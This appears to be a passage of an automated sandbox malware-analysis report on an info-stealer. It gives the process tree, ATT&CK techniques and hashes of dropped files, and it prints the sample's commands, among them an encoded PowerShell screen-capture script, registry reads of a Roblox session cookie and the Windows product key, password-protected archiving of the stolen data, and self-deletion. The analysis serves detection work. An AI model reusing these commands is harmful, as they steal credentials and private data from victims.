    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:4560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5080
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ltoc4sj5\ltoc4sj5.cmdline"
        5⤵
        
        PID:4788
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAD09.tmp" "c:\Users\Admin\AppData\Local\Temp\ltoc4sj5\CSC37E6E2A48BE34C7B9DD7195D2EC42328.TMP"
        6⤵
        
        PID:2820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5084
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1092
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:3312
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4308
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4144
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:740
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5056
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4020
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3684
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:1916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:1496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:4576
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI40082\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\5hRcp.zip" *"
    3⤵
    PID:3388
  - - C:\Users\Admin\AppData\Local\Temp\_MEI40082\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI40082\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\5hRcp.zip" *
      4⤵
      Executes dropped EXE
      PID:3092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:2696
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3684
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:5080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:1168
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:5064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4444
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:2604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:1488
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:1208
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Built.exe""
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1988
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e243a38635ff9a06c87c2a61a2200656

SHA1
ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc

SHA256
af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f

SHA512
4418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0aa63dbb46d451e47a7a682c64af776d

SHA1
3b0026f2dae8e9c491ccaa40133755779de35aaa

SHA256
9158038718d41172c22a3c1a15852405e3e1c8e2c44fa066328eb1520e5d977b

SHA512
4d2564850c2ab1bc71089412f19147df4a1cd3075aa2039aa894271b333cd9c510b7ba4d70889f24d45d8b366d8b5167abdcf24314e4753420337c7d34e7c43f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c24e7d85f2dcdbf484028a53b49c62f8

SHA1
fa133c49bcab0af0122a0969b92195248141689a

SHA256
f752233183ab19ce53db4d2300e618426a6df34d982553912c8a43781b33b8f1

SHA512
8257ebd23626344deb7c5ecc5170acd1906926fcced7569ec3c2a777c59a5659a7ee1b3e0503bbf61c8214684b9d18c9a400a9563dd01d7c815633bec93a4670

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\VCRUNTIME140.dll

Filesize
96KB

MD5
f12681a472b9dd04a812e16096514974

SHA1
6fd102eb3e0b0e6eef08118d71f28702d1a9067c

SHA256
d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

SHA512
7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_bz2.pyd

Filesize
46KB

MD5
0c13627f114f346604b0e8cbc03baf29

SHA1
bf77611d924df2c80aabcc3f70520d78408587a2

SHA256
df1e666b55aae6ede59ef672d173bd0d64ef3e824a64918e081082b8626a5861

SHA512
c97fa0f0988581eae5194bd6111c1d9c0e5b1411bab47df5aa7c39aad69bfbeca383514d6aaa45439bb46eacf6552d7b7ed08876b5e6864c8507eaa0a72d4334

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_ctypes.pyd

Filesize
57KB

MD5
38fb83bd4febed211bd25e19e1cae555

SHA1
4541df6b69d0d52687edb12a878ae2cd44f82db6

SHA256
cd31af70cbcfe81b01a75ebeb2de86079f4cbe767b75c3b5799ef8b9f0392d65

SHA512
f703b231b675c45accb1f05cd34319b5b3b7583d85bf2d54194f9e7c704fbcd82ef2a2cd286e6a50234f02c43616fbeccfd635aefd73424c1834f5dca52c0931

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_decimal.pyd

Filesize
104KB

MD5
7ba541defe3739a888be466c999c9787

SHA1
ad0a4df9523eeeafc1e67b0e4e3d7a6cf9c4dfac

SHA256
f90efa10d90d940cde48aafe02c13a0fc0a1f0be7f3714856b7a1435f5decf29

SHA512
9194a527a17a505d049161935432fa25ba154e1aee6306dee9054071f249c891f0ca7839de3a21d09b57fdc3f29ee7c4f08237b0dfffafa8f0078cfe464bed3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_hashlib.pyd

Filesize
33KB

MD5
596df8ada4b8bc4ae2c2e5bbb41a6c2e

SHA1
e814c2e2e874961a18d420c49d34b03c2b87d068

SHA256
54348cfbf95fd818d74014c16343d9134282d2cf238329eec2cda1e2591565ec

SHA512
e16aad5230e4af7437b19c3db373b1a0a0a84576b608b34430cced04ffc652c6fb5d8a1fe1d49ac623d8ae94c8735800c6b0a12c531dcdd012b05b5fd61dff2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_lzma.pyd

Filesize
84KB

MD5
8d9e1bb65a192c8446155a723c23d4c5

SHA1
ea02b1bf175b7ef89ba092720b3daa0c11bef0f0

SHA256
1549fe64b710818950aa9bf45d43fe278ce59f3b87b3497d2106ff793efa6cf7

SHA512
4d67306fe8334f772fe9d463cb4f874a8b56d1a4ad3825cff53cae4e22fa3e1adba982f4ea24785312b73d84a52d224dfb4577c1132613aa3ae050a990e4abdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_queue.pyd

Filesize
24KB

MD5
fbbbfbcdcf0a7c1611e27f4b3b71079e

SHA1
56888df9701f9faa86c03168adcd269192887b7b

SHA256
699c1f0f0387511ef543c0df7ef81a13a1cffde4ce4cd43a1baf47a893b99163

SHA512
0a5ba701653ce9755048ae7b0395a15fbb35509bef7c4b4fe7f11dc4934f3bd298bcddbf2a05b61f75f8eb44c4c41b3616f07f9944e0620b031cbe87a7443284

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_socket.pyd

Filesize
41KB

MD5
4351d7086e5221398b5b78906f4e84ac

SHA1
ba515a14ec1b076a6a3eab900df57f4f37be104d

SHA256
a0fa25eef91825797f01754b7d7cf5106e355cf21322e926632f90af01280abe

SHA512
a1bcf51e797ccae58a0b4cfe83546e5e11f8fc011ca3568578c42e20bd7a367a5e1fa4237fb57aa84936eec635337e457a61a2a4d6eca3e90e6dde18ae808025

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_sqlite3.pyd

Filesize
54KB

MD5
d678600c8af1eeeaa5d8c1d668190608

SHA1
080404040afc8b6e5206729dd2b9ee7cf2cb70bc

SHA256
d6960f4426c09a12488eb457e62506c49a58d62a1cb16fbc3ae66b260453c2ed

SHA512
8fd5f0fd5bd60c6531e1b4ad867f81da92d5d54674028755e5680fb6005e6444805003d55b6cbaf4cdad7b4b301cffab7b010229f6fd9d366405b8ade1af72d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\_ssl.pyd

Filesize
60KB

MD5
156b1fa2f11c73ed25f63ee20e6e4b26

SHA1
36189a5cde36d31664acbd530575a793fc311384

SHA256
a9b5f6c7a94fb6bfaf82024f906465ff39f9849e4a72a98a9b03fc07bf26da51

SHA512
a8181ffeb3cf8ef2a25357217a3dd05242cc0165473b024cf0aeb3f42e21e52c2550d227a1b83a6e5dab33a185d78e86e495e9634e4f4c5c4a1aec52c5457dca

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\api-ms-win-crt-convert-l1-1-0.dll

Filesize
15KB

MD5
f1966e566459389d610b3773c3e065f1

SHA1
e123168541d78e792d8cdbaa6b473f28c1064954

SHA256
db128a378c682a0acd5fb4d074b45fad33ab57e70637f3eff917562d8100923a

SHA512
a0d2f959cd28b48791d60bf7488aa26231439c83dfc9e474f17144963bc57f143fd3e0f1904b63948334d3a83b9a5bdd3b2dad81f2e6584303c1c9bfaa9a9c78

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\api-ms-win-crt-filesystem-l1-1-0.dll

Filesize
13KB

MD5
25586e8f953667bbbb2a7f2e25949808

SHA1
9597dc051c9ef3c234d03c5856402964e8e36110

SHA256
